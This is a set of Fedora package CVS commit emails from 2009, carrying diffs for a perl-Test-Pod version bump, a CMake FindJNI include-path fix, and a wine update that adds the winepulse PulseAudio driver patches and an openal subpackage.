+find $RPM_BUILD_ROOT -depth -type d -empty -exec rmdir {} ';'
 chmod -R u+w $RPM_BUILD_ROOT/*
 
 
@@ -52,6 +52,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 30 2009 Stepan Kasal <skasal at redhat.com> - 1.40-1
+- new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.26-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-Pod/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	21 Jul 2006 15:11:25 -0000	1.4
+++ sources	30 Oct 2009 14:44:27 -0000	1.5
@@ -1 +1 @@
-2f259135656ac4549b65a4f14f07b7c6  Test-Pod-1.26.tar.gz
+de975155ed1afb430b70456e2db00b29  Test-Pod-1.40.tar.gz



From orion at fedoraproject.org  Fri Oct 30 14:54:29 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 30 Oct 2009 14:54:29 +0000 (UTC)
Subject: rpms/cmake/devel jni_include_path.patch,NONE,1.1
Message-ID: <20091030145429.AED3D11C00EA@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/cmake/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8198

Added Files:
	jni_include_path.patch 
Log Message:
Add jni_include_path.patch


jni_include_path.patch:
 FindJNI.cmake |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE jni_include_path.patch ---
Index: Modules/FindJNI.cmake
===================================================================
RCS file: /cvsroot/CMake/CMake/Modules/FindJNI.cmake,v
retrieving revision 1.45
diff -u -r1.45 FindJNI.cmake
--- Modules/FindJNI.cmake	22 Oct 2009 10:57:00 -0000	1.45
+++ Modules/FindJNI.cmake	29 Oct 2009 16:25:07 -0000
@@ -195,14 +195,13 @@
 )
 
 FIND_PATH(JAVA_INCLUDE_PATH2 jni_md.h 
-  ${JAVA_AWT_INCLUDE_DIRECTORIES}
+  ${JAVA_INCLUDE_PATH}
   ${JAVA_INCLUDE_PATH}/win32
   ${JAVA_INCLUDE_PATH}/linux
   ${JAVA_INCLUDE_PATH}/freebsd
 )
 
 FIND_PATH(JAVA_AWT_INCLUDE_PATH jawt.h
-  ${JAVA_AWT_INCLUDE_DIRECTORIES}
   ${JAVA_INCLUDE_PATH}
 )
 



From awjb at fedoraproject.org  Fri Oct 30 14:57:27 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Fri, 30 Oct 2009 14:57:27 +0000 (UTC)
Subject: rpms/wine/F-11 winepulse-0.32-configure.ac.patch, NONE,
	1.1 winepulse-0.32.patch, NONE, 1.1 .cvsignore, 1.79,
	1.80 sources, 1.80, 1.81 wine-rpath.patch, 1.8, 1.9 wine.spec,
	1.112, 1.113 steam-regression.patch, 1.1,
	NONE winepulse-0.30-configure.ac.patch, 1.1,
	NONE winepulse-0.30.patch, 1.1, NONE
Message-ID: <20091030145727.9595D11C00EA@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/wine/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9506/F-11

Modified Files:
	.cvsignore sources wine-rpath.patch wine.spec 
Added Files:
	winepulse-0.32-configure.ac.patch winepulse-0.32.patch 
Removed Files:
	steam-regression.patch winepulse-0.30-configure.ac.patch 
	winepulse-0.30.patch 
Log Message:
- version upgrade


winepulse-0.32-configure.ac.patch:
 configure.ac |   26 +++++++++++++++++++++++++-
 1 file changed, 25 insertions(+), 1 deletion(-)

--- NEW FILE winepulse-0.32-configure.ac.patch ---
diff --git a/configure.ac b/configure.ac
index 0cc339b..3f34f12 100644
--- a/configure.ac
+++ b/configure.ac
@@ -64,6 +64,7 @@ AC_ARG_WITH(png,       AS_HELP_STRING([--without-png],[do not use PNG]),
             [if test "x$withval" = "xno"; then ac_cv_header_png_h=no; fi])
 AC_ARG_WITH(pthread,   AS_HELP_STRING([--without-pthread],[do not use the pthread library]),
             [if test "x$withval" = "xno"; then ac_cv_header_pthread_h=no; fi])
+AC_ARG_WITH(pulse,     AC_HELP_STRING([--without-pulse],[do not use PulseAudio sound support]))
 AC_ARG_WITH(sane,      AS_HELP_STRING([--without-sane],[do not use SANE (scanner support)]))
 AC_ARG_WITH(xcomposite,AS_HELP_STRING([--without-xcomposite],[do not use the Xcomposite extension]),
             [if test "x$withval" = "xno"; then ac_cv_header_X11_extensions_Xcomposite_h=no; fi])
@@ -1297,6 +1298,28 @@ then
     CFLAGS="$save_CFLAGS"
 fi
 
+dnl **** Check for PulseAudio ****
+if test "x$with_pulse" != "xno"; then
+    if test "$PKG_CONFIG" != "false"; then
+        AC_MSG_CHECKING([for pulseaudio >= 0.9.14])
+        if "$PKG_CONFIG" --atleast-version=0.9.14 libpulse; then
+            have_pulseaudio="yes"
+        else
+            have_pulseaudio="no"
+        fi
+        AC_MSG_RESULT([$have_pulseaudio])
+        if test x"$have_pulseaudio" = xyes; then
+            ac_pulse_libs=`$PKG_CONFIG --libs libpulse`
+            AC_DEFINE([HAVE_PULSEAUDIO], 1, [define this if you have pulseaudio])
+            AC_SUBST(PULSELIBS, "$ac_pulse_libs")
+	else
+            dnl This warning should be removed if ever commited.
+            dnl Only useful to show that the problem wasn't the patch.
+            WINE_WARNING([libpulse not found or too old. Pulseaudio support will NOT be built.])
+        fi
+    fi
+fi
+
 dnl **** Check for ALSA 1.x ****
 AC_SUBST(ALSALIBS,"")
 if test "$ac_cv_header_sys_asoundlib_h" = "yes" -o "$ac_cv_header_alsa_asoundlib_h" = "yes"
@@ -1449,7 +1472,7 @@ dnl **** Check for libodbc ****
 WINE_CHECK_SONAME(odbc,SQLConnect,,[AC_DEFINE_UNQUOTED(SONAME_LIBODBC,["libodbc.$LIBEXT"])])
 
 dnl **** Check for any sound system ****
-if test "x$ALSALIBS$AUDIOIOLIBS$COREAUDIO$NASLIBS$ESDLIBS$ac_cv_lib_soname_jack" = "x" -a \
+if test "x$ALSALIBS$AUDIOIOLIBS$COREAUDIO$NASLIBS$ESDLIBS$PULSELIBS$ac_cv_lib_soname_jack" = "x" -a \
         "$ac_cv_header_sys_soundcard_h" != "yes" -a \
         "$ac_cv_header_machine_soundcard_h" != "yes" -a \
         "$ac_cv_header_soundcard_h" != "yes" -a \
@@ -2509,6 +2532,7 @@ WINE_CONFIG_MAKEFILE([dlls/winenas.drv/Makefile],[dlls/Makedll.rules],[dlls],[AL
 WINE_CONFIG_MAKEFILE([dlls/wineoss.drv/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS])
 WINE_CONFIG_MAKEFILE([dlls/wineps.drv/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS])
 WINE_CONFIG_MAKEFILE([dlls/wineps16.drv16/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS],[enable_win16])
+WINE_CONFIG_MAKEFILE([dlls/winepulse.drv/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS])
 WINE_CONFIG_MAKEFILE([dlls/winequartz.drv/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS])
 WINE_CONFIG_MAKEFILE([dlls/winex11.drv/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS])
 WINE_CONFIG_MAKEFILE([dlls/wing.dll16/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS],[enable_win16])

winepulse-0.32.patch:
 Makefile.in        |   15 
 pulse.c            |  788 +++++++++++++++++++++++++++++++++++++++
 wavein.c           |  595 ++++++++++++++++++++++++++++++
 waveout.c          | 1049 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 winepulse.drv.spec |    3 
 winepulse.h        |  196 +++++++++
 6 files changed, 2646 insertions(+)

--- NEW FILE winepulse-0.32.patch ---
diff --git a/dlls/winepulse.drv/Makefile.in b/dlls/winepulse.drv/Makefile.in
new file mode 100644
index 0000000..c99c1da
--- /dev/null
+++ b/dlls/winepulse.drv/Makefile.in
@@ -0,0 +1,15 @@
+TOPSRCDIR = @top_srcdir@
+TOPOBJDIR = ../..
+SRCDIR    = @srcdir@
+VPATH     = @srcdir@
+MODULE    = winepulse.drv
+IMPORTS   = winmm user32 kernel32
+EXTRALIBS = @PULSELIBS@
+
+C_SRCS = waveout.c \
+         wavein.c \
+         pulse.c
+
+ at MAKE_DLL_RULES@
+
+ at DEPENDENCIES@  # everything below this line is overwritten by make depend
diff --git a/dlls/winepulse.drv/pulse.c b/dlls/winepulse.drv/pulse.c
new file mode 100644
index 0000000..3dcb086
--- /dev/null
+++ b/dlls/winepulse.drv/pulse.c
@@ -0,0 +1,788 @@
+/*
+ * Wine Driver for PulseAudio
+ * http://pulseaudio.org/
+ *
+ * Copyright    2009 Arthur Taylor <theycallhimart at gmail.com>
+ *
+ * Contains code from other wine sound drivers.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#include "config.h"
+
+#include <stdarg.h>
+#include <stdio.h>
+
+#include "windef.h"
+#include "winbase.h"
+#include "wingdi.h"
+#include "winuser.h"
+#include "winreg.h"
+#include "mmddk.h"
+#include "ks.h"
+#include "ksguid.h"
+#include "ksmedia.h"
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+#include <poll.h>
+
+#ifdef HAVE_PULSEAUDIO
+
+#include "wine/unicode.h"
+#include "wine/debug.h"
+#include "wine/library.h"
+
+#include <winepulse.h>
+#include <pulse/pulseaudio.h>
+WINE_DEFAULT_DEBUG_CHANNEL(wave);
+
+/* These strings used only for tracing */
+const char * PULSE_getCmdString(enum win_wm_message msg) {
+    static char unknown[32];
+#define MSG_TO_STR(x) case x: return #x
+    switch(msg) {
+    MSG_TO_STR(WINE_WM_PAUSING);
+    MSG_TO_STR(WINE_WM_RESTARTING);
+    MSG_TO_STR(WINE_WM_RESETTING);
+    MSG_TO_STR(WINE_WM_HEADER);
+    MSG_TO_STR(WINE_WM_BREAKLOOP);
+    MSG_TO_STR(WINE_WM_CLOSING);
+    MSG_TO_STR(WINE_WM_STARTING);
+    MSG_TO_STR(WINE_WM_STOPPING);
+    MSG_TO_STR(WINE_WM_XRUN);
+    MSG_TO_STR(WINE_WM_FEED);
+    }
+#undef MSG_TO_STR
+    sprintf(unknown, "UNKNOWN(0x%08x)", msg);
+    return unknown;
+}
+
+/*======================================================================*
+ *          Ring Buffer Functions - copied from winealsa.drv            *
+ *======================================================================*/
+
+/* unless someone makes a wineserver kernel module, Unix pipes are faster than win32 events */
+#define USE_PIPE_SYNC
+
+#ifdef USE_PIPE_SYNC
+#define INIT_OMR(omr) do { if (pipe(omr->msg_pipe) < 0) { omr->msg_pipe[0] = omr->msg_pipe[1] = -1; } } while (0)
+#define CLOSE_OMR(omr) do { close(omr->msg_pipe[0]); close(omr->msg_pipe[1]); } while (0)
+#define SIGNAL_OMR(omr) do { int x = 0; write((omr)->msg_pipe[1], &x, sizeof(x)); } while (0)
+#define CLEAR_OMR(omr) do { int x = 0; read((omr)->msg_pipe[0], &x, sizeof(x)); } while (0)
+#define RESET_OMR(omr) do { } while (0)
+#define WAIT_OMR(omr, sleep) \
+  do { struct pollfd pfd; pfd.fd = (omr)->msg_pipe[0]; \
+       pfd.events = POLLIN; poll(&pfd, 1, sleep); } while (0)
+#else
+#define INIT_OMR(omr) do { omr->msg_event = CreateEventW(NULL, FALSE, FALSE, NULL); } while (0)
+#define CLOSE_OMR(omr) do { CloseHandle(omr->msg_event); } while (0)
+#define SIGNAL_OMR(omr) do { SetEvent((omr)->msg_event); } while (0)
+#define CLEAR_OMR(omr) do { } while (0)
+#define RESET_OMR(omr) do { ResetEvent((omr)->msg_event); } while (0)
+#define WAIT_OMR(omr, sleep) \
+  do { WaitForSingleObject((omr)->msg_event, sleep); } while (0)
+#endif
+
+#define PULSE_RING_BUFFER_INCREMENT      64
+
+/******************************************************************
+ *                  PULSE_InitRingMessage
+ *
+ * Initialize the ring of messages for passing between driver's caller
+ * and playback/record thread
+ */
+int PULSE_InitRingMessage(PULSE_MSG_RING* omr)
+{
+    omr->msg_toget = 0;
+    omr->msg_tosave = 0;
+    INIT_OMR(omr);
+    omr->ring_buffer_size = PULSE_RING_BUFFER_INCREMENT;
+    omr->messages = HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,omr->ring_buffer_size * sizeof(PULSE_MSG));
+
+    InitializeCriticalSection(&omr->msg_crst);
+    omr->msg_crst.DebugInfo->Spare[0] = (DWORD_PTR)(__FILE__ ": PULSE_MSG_RING.msg_crst");
+    return 0;
+}
+
+/******************************************************************
+ *                  PULSE_DestroyRingMessage
+ *
+ */
+int PULSE_DestroyRingMessage(PULSE_MSG_RING* omr)
+{
+    CLOSE_OMR(omr);
+    HeapFree(GetProcessHeap(),0,omr->messages);
+    omr->messages = NULL;
+    omr->ring_buffer_size = PULSE_RING_BUFFER_INCREMENT;
+    omr->msg_crst.DebugInfo->Spare[0] = 0;
+    DeleteCriticalSection(&omr->msg_crst);
+    return 0;
+}
+/******************************************************************
+ *                  PULSE_ResetRingMessage
+ *
+ */
+void PULSE_ResetRingMessage(PULSE_MSG_RING* omr)
+{
+    RESET_OMR(omr);
+}
+
+/******************************************************************
+ *                  PULSE_WaitRingMessage
+ *
+ */
+void PULSE_WaitRingMessage(PULSE_MSG_RING* omr, DWORD sleep)
+{
+    WAIT_OMR(omr, sleep);
+}
+
+/******************************************************************
+ *                  PULSE_AddRingMessage
+ *
+ * Inserts a new message into the ring (should be called from DriverProc derived routines)
+ */
+int PULSE_AddRingMessage(PULSE_MSG_RING* omr, enum win_wm_message msg, DWORD param, BOOL wait)
+{
+    HANDLE      hEvent = INVALID_HANDLE_VALUE;
+
+    EnterCriticalSection(&omr->msg_crst);
+    if ((omr->msg_toget == ((omr->msg_tosave + 1) % omr->ring_buffer_size)))
+    {
+        int old_ring_buffer_size = omr->ring_buffer_size;
+        omr->ring_buffer_size += PULSE_RING_BUFFER_INCREMENT;
+        omr->messages = HeapReAlloc(GetProcessHeap(),0,omr->messages, omr->ring_buffer_size * sizeof(PULSE_MSG));
+        /* Now we need to rearrange the ring buffer so that the new
+           buffers just allocated are in between omr->msg_tosave and
+           omr->msg_toget.
+        */
[...2283 lines suppressed...]
index 0000000..0aa7e86
--- /dev/null
+++ b/dlls/winepulse.drv/winepulse.h
@@ -0,0 +1,196 @@
+/* Definitions for PulseAudio Wine Driver
+ *
+ * Copyright    2009 Arthur Taylor <theycallhimart at gmail.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#ifndef __WINE_CONFIG_H
+# error You must include config.h to use this header
+#endif
+
+#if defined(HAVE_PULSEAUDIO) && !defined(__WINEPULSE_H)
+#define __WINEPULSE_H
+
+#include "mmreg.h"
+#include "dsound.h"
+#include "dsdriver.h"
+
+#include "ks.h"
+#include "ksmedia.h"
+#include "ksguid.h"
+
+#include <pulse/pulseaudio.h>
+
+/* state diagram for waveOut writing:
+ *
+ * +---------+-------------+---------------+---------------------------------+
+ * |  state  |  function   |     event     |            new state            |
+ * +---------+-------------+---------------+---------------------------------+
+ * |         | open()      |               | STOPPED                         |
+ * | PAUSED  | write()     |               | PAUSED                          |
+ * | STOPPED | write()     | <thrd create> | PLAYING                         |
+ * | PLAYING | write()     | HEADER        | PLAYING                         |
+ * | (other) | write()     | <error>       |                                 |
+ * | (any)   | pause()     | PAUSING       | PAUSED                          |
+ * | PAUSED  | restart()   | RESTARTING    | PLAYING (if no thrd => STOPPED) |
+ * | (any)   | reset()     | RESETTING     | STOPPED                         |
+ * | (any)   | close()     | CLOSING       | CLOSED                          |
+ * +---------+-------------+---------------+---------------------------------+
+ */
+
+/* states of the playing device */
+#define WINE_WS_PLAYING         1
+#define WINE_WS_PAUSED          2
+#define WINE_WS_STOPPED         3
+#define WINE_WS_CLOSED          4
+#define WINE_WS_FAILED          5
+
+#define PULSE_ALL_FORMATS \
+        WAVE_FORMAT_1M08 |      /* Mono     11025Hz 8-bit  */\
+        WAVE_FORMAT_1M16 |      /* Mono     11025Hz 16-bit */\
+        WAVE_FORMAT_1S08 |      /* Stereo   11025Hz 8-bit  */\
+        WAVE_FORMAT_1S16 |      /* Stereo   11025Hz 16-bit */\
+        WAVE_FORMAT_2M08 |      /* Mono     22050Hz 8-bit  */\
+        WAVE_FORMAT_2M16 |      /* Mono     22050Hz 16-bit */\
+        WAVE_FORMAT_2S08 |      /* Stereo   22050Hz 8-bit  */\
+        WAVE_FORMAT_2S16 |      /* Stereo   22050Hz 16-bit */\
+        WAVE_FORMAT_4M08 |      /* Mono     44100Hz 8-bit  */\
+        WAVE_FORMAT_4M16 |      /* Mono     44100Hz 16-bit */\
+        WAVE_FORMAT_4S08 |      /* Stereo   44100Hz 8-bit  */\
+        WAVE_FORMAT_4S16 |      /* Stereo   44100Hz 16-bit */\
+        WAVE_FORMAT_48M08 |     /* Mono     48000Hz 8-bit  */\
+        WAVE_FORMAT_48S08 |     /* Stereo   48000Hz 8-bit  */\
+        WAVE_FORMAT_48M16 |     /* Mono     48000Hz 16-bit */\
+        WAVE_FORMAT_48S16 |     /* Stereo   48000Hz 16-bit */\
+        WAVE_FORMAT_96M08 |     /* Mono     96000Hz 8-bit  */\
+        WAVE_FORMAT_96S08 |     /* Stereo   96000Hz 8-bit  */\
+        WAVE_FORMAT_96M16 |     /* Mono     96000Hz 16-bit */\
+        WAVE_FORMAT_96S16       /* Stereo   96000Hz 16-bit */
+
+/* events to be sent to device */
+enum win_wm_message {
+    WINE_WM_PAUSING = WM_USER + 1, WINE_WM_RESTARTING, WINE_WM_RESETTING, WINE_WM_HEADER,
+    WINE_WM_BREAKLOOP, WINE_WM_CLOSING, WINE_WM_STARTING, WINE_WM_STOPPING, WINE_WM_XRUN, WINE_WM_FEED
+};
+
+typedef struct {
+    enum win_wm_message msg;    /* message identifier */
+    DWORD               param;  /* parameter for this message */
+    HANDLE              hEvent; /* if message is synchronous, handle of event for synchro */
+} PULSE_MSG;
+
+/* implement an in-process message ring for better performance
+ * (compared to passing thru the server)
+ * this ring will be used by the input (resp output) record (resp playback) routine
+ */
+typedef struct {
+    PULSE_MSG                   * messages;
+    int                         ring_buffer_size;
+    int                         msg_tosave;
+    int                         msg_toget;
+/* Either pipe or event is used, but that is defined in pulse.c,
+ * since this is a global header we define both here */
+    int                         msg_pipe[2];
+    HANDLE                      msg_event;
+    CRITICAL_SECTION            msg_crst;
+} PULSE_MSG_RING;
+
+typedef struct WINE_WAVEDEV WINE_WAVEDEV;
+typedef struct WINE_WAVEINST WINE_WAVEINST;
+
+/* Per-playback/record device */
+struct WINE_WAVEDEV {
+    char                interface_name[MAXPNAMELEN * 2];
+    char                *device_name;
+    pa_cvolume          volume;
+
+    union {
+        WAVEOUTCAPSW    out;
+        WAVEINCAPSW     in;
+    } caps;
+    
+    /* DirectSound stuff */
+    DSDRIVERDESC                ds_desc;
+    DSDRIVERCAPS                ds_caps;
+};
+
+/* Per-playback/record instance */
+struct WINE_WAVEINST {
+    INT                 state;              /* one of the WINE_WS_ manifest constants */
+    WAVEOPENDESC        waveDesc;
+    WORD                wFlags;
+
+    /* PulseAudio specific data */
+    pa_stream           *stream;            /* The PulseAudio stream */
+    const pa_timing_info *timing_info;      /* The timing info structure for the stream */
+    pa_sample_spec      sample_spec;        /* Sample spec of this stream / device */
+    pa_cvolume          volume;             /* Software volume of the stream */
+    pa_buffer_attr      buffer_attr;        /* Buffer attribute, may not be used */
+
+    /* waveIn / waveOut wavaHdr */
+    LPWAVEHDR           lpQueuePtr;         /* Start of queued WAVEHDRs (waiting to be notified) */
+    LPWAVEHDR           lpPlayPtr;          /* Start of not yet fully written buffers */
+    DWORD               dwPartialOffset;    /* Offset of not yet written bytes in lpPlayPtr */
+    LPWAVEHDR           lpLoopPtr;          /* Pointer of first buffer in loop, if any */
+    DWORD               dwLoops;            /* Private copy of loop counter */
+    DWORD               dwLastReset;        /* When the last reset occured, as pa stream time doesn't reset */
+
+    /* waveIn specific */
+    const void          *buffer;            /* Pointer to the latest data fragment for recording streams */
+    DWORD               buffer_length;      /* How large the latest data fragment is */
+    DWORD               buffer_read_offset; /* How far into latest data fragment we last read */
+
+    /* Thread communication and synchronization stuff */
+    HANDLE              hStartUpEvent;
+    HANDLE              hThread;
+    DWORD               dwThreadID;
+    PULSE_MSG_RING      msgRing;
+};
+
+/* We establish one context per instance, so make it global to the lib */
+pa_context              *PULSE_context;   /* Connection Context */
+pa_threaded_mainloop    *PULSE_ml;        /* PA Runtime information */
+
+/* WaveIn / WaveOut devices */
+WINE_WAVEDEV *WOutDev;
+WINE_WAVEDEV *WInDev;
+DWORD PULSE_WodNumDevs;
+DWORD PULSE_WidNumDevs;
+
+/* pulse.c: PulseAudio Async Callbacks */
+void    PULSE_StreamSuccessCallback(pa_stream *s, int success, void *userdata);
+void    PULSE_StreamStateCallback(pa_stream *s, void *userdata);
+void    PULSE_StreamUnderflowCallback(pa_stream *s, void *userdata);
+void    PULSE_StreamSuspendedCallback(pa_stream *s, void *userdata);
+void    PULSE_StreamMovedCallback(pa_stream *s, void *userdata);
+void    PULSE_ContextSuccessCallback(pa_context *c, int success, void *userdata);
+
+/* pulse.c: General Functions */
+void    PULSE_WaitForOperation(pa_operation *o);
+BOOL    PULSE_SetupFormat(LPWAVEFORMATEX wf, pa_sample_spec *ss);
+HRESULT PULSE_UsecToMMTime(pa_usec_t time, LPMMTIME lpTime, const pa_sample_spec *ss);
+
+/* pulse.c: Message Ring */
+int     PULSE_InitRingMessage(PULSE_MSG_RING* omr);
+int     PULSE_DestroyRingMessage(PULSE_MSG_RING* omr);
+void    PULSE_ResetRingMessage(PULSE_MSG_RING* omr);
+void    PULSE_WaitRingMessage(PULSE_MSG_RING* omr, DWORD sleep);
+int     PULSE_AddRingMessage(PULSE_MSG_RING* omr, enum win_wm_message msg, DWORD param, BOOL wait);
+int     PULSE_RetrieveRingMessage(PULSE_MSG_RING* omr, enum win_wm_message *msg, DWORD *param, HANDLE *hEvent);
+
+/* pulse.c: Tracing */
+const char * PULSE_getCmdString(enum win_wm_message msg);
+#endif


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/wine/F-11/.cvsignore,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- .cvsignore	2 Sep 2009 20:36:03 -0000	1.79
+++ .cvsignore	30 Oct 2009 14:57:26 -0000	1.80
@@ -1 +0,0 @@
-wine-1.1.29-fe.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/wine/F-11/sources,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- sources	2 Sep 2009 20:36:03 -0000	1.80
+++ sources	30 Oct 2009 14:57:26 -0000	1.81
@@ -1 +0,0 @@
-3782b65da7db94460b93961356715403  wine-1.1.29-fe.tar.bz2

wine-rpath.patch:
 configure |   20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

Index: wine-rpath.patch
===================================================================
RCS file: /cvs/pkgs/rpms/wine/F-11/wine-rpath.patch,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- wine-rpath.patch	31 Aug 2009 15:37:06 -0000	1.8
+++ wine-rpath.patch	30 Oct 2009 14:57:26 -0000	1.9
@@ -1,6 +1,6 @@
---- configure.orig	2009-08-26 11:47:17.000000000 +0200
-+++ configure	2009-08-26 11:50:07.000000000 +0200
-@@ -6565,14 +6565,14 @@
+--- configure.orig	2009-10-29 18:57:06.000000000 +0100
++++ configure	2009-10-29 18:58:49.000000000 +0100
+@@ -6758,14 +6758,14 @@
  
  fi
  
@@ -18,15 +18,28 @@
 +CFLAGS="$CFLAGS -fPIC"
  cat confdefs.h - <<_ACEOF >conftest.$ac_ext
  /* end confdefs.h.  */
- 
-@@ -6597,8 +6597,8 @@
+ int main(int argc, char *argv) { return 0; }
+@@ -6783,17 +6783,17 @@
  	       { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5
  $as_echo "$ac_res" >&6; }
  if test `eval 'as_val=${'$as_ac_var'};$as_echo "$as_val"'` = yes; then :
 -  LDRPATH_INSTALL="-Wl,--rpath,\\\$\$ORIGIN/\`\$(RELPATH) \$(bindir) \$(libdir)\`"
 -                       LDRPATH_LOCAL="-Wl,--rpath,\\\$\$ORIGIN/\$(TOPOBJDIR)/libs/wine"
 +  LDRPATH_INSTALL=""
-+  LDRPATH_LOCAL=""
++                       LDRPATH_LOCAL=""
+ else
+-  as_ac_var=`$as_echo "ac_cv_cflags_-fPIC -Wl,-R,\\$ORIGIN/../lib" | $as_tr_sh`
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the compiler supports -fPIC -Wl,-R,\$ORIGIN/../lib" >&5
+-$as_echo_n "checking whether the compiler supports -fPIC -Wl,-R,\$ORIGIN/../lib... " >&6; }
++  as_ac_var=`$as_echo "ac_cv_cflags_-fPIC" | $as_tr_sh`
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the compiler supports -fPIC" >&5
++$as_echo_n "checking whether the compiler supports -fPIC " >&6; }
+ if { as_var=$as_ac_var; eval "test \"\${$as_var+set}\" = set"; }; then :
+   $as_echo_n "(cached) " >&6
  else
-   as_ac_var=`$as_echo "ac_cv_cflags_-fPIC -Wl,-R,\\$ORIGIN/../lib" | $as_tr_sh`
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the compiler supports -fPIC -Wl,-R,\$ORIGIN/../lib" >&5
+   ac_wine_try_cflags_saved=$CFLAGS
+-CFLAGS="$CFLAGS -fPIC -Wl,-R,\$ORIGIN/../lib"
++CFLAGS="$CFLAGS -fPIC"
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h.  */
+ int main(int argc, char *argv) { return 0; }


Index: wine.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wine/F-11/wine.spec,v
retrieving revision 1.112
retrieving revision 1.113
diff -u -p -r1.112 -r1.113
--- wine.spec	13 Sep 2009 10:56:19 -0000	1.112
+++ wine.spec	30 Oct 2009 14:57:26 -0000	1.113
@@ -1,7 +1,7 @@
 %define no64bit 0
 Name:		wine
-Version:	1.1.29
-Release:	3%{?dist}
+Version:	1.1.32
+Release:	1%{?dist}
 Summary:	A Windows 16/32/64 bit emulator
 
 Group:		Applications/Emulators
@@ -47,17 +47,15 @@ Source300:      wine-mime-msi.desktop
 # explain how to use wine with pulseaudio
 # see http://bugs.winehq.org/show_bug.cgi?id=10495
 # and http://art.ified.ca/?page_id=40
-Patch400:       http://art.ified.ca/downloads/winepulse-0.30-configure.ac.patch
-Patch401:       http://art.ified.ca/downloads/winepulse-0.30.patch
-Patch402:        http://art.ified.ca/downloads/winepulse/winepulse-winecfg-0.6.patch
+Patch400:       http://art.ified.ca/downloads/winepulse-0.32-configure.ac.patch
+Patch401:       http://art.ified.ca/downloads/winepulse-0.32.patch
+Patch402:       http://art.ified.ca/downloads/winepulse/winepulse-winecfg-0.6.patch
 Source402:      README-FEDORA-PULSEAUDIO
 
 Patch1:         wine-rpath.patch
 
 # bugfix patches
-# fix steam regression http://bugs.winehq.org/show_bug.cgi?id=19916
-# upstream commit 70241904b9efacab9fb6c7d8701b1cfdb86f49f7
-Patch1000:      steam-regression.patch
+# none
 
 Buildroot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -112,6 +110,7 @@ BuildRequires:  dbus-devel hal-devel
 BuildRequires:  gnutls-devel
 BuildRequires:  pulseaudio-libs-devel
 BuildRequires:  gsm-devel
+BuildRequires:  openal-soft-devel
 
 # noarch
 Requires:       wine-common = %{version}-%{release}
@@ -299,6 +298,15 @@ Requires: wine-core = %{version}-%{relea
 %description oss
 This package adds an oss driver for wine.
 
+%package openal
+Summary: Openal support for wine
+Group: System Environment/Libraries
+Requires: wine-core = %{version}-%{release}
+
+%description openal
+This package adds an openal driver for wine.
+
+
 %prep
 %setup -q -n %{name}-%{version}-fe
 
@@ -307,8 +315,6 @@ This package adds an oss driver for wine
 %patch401 -p1
 %patch402 -p1
 
-%patch1000 -p1
-
 autoreconf
 
 %build
@@ -498,6 +504,9 @@ update-desktop-database &>/dev/null || :
 %post oss -p /sbin/ldconfig
 %postun oss -p /sbin/ldconfig
 
+%post openal -p /sbin/ldconfig
+%postun openal -p /sbin/ldconfig
+
 %files
 %defattr(-,root,root,-)
 # meta package
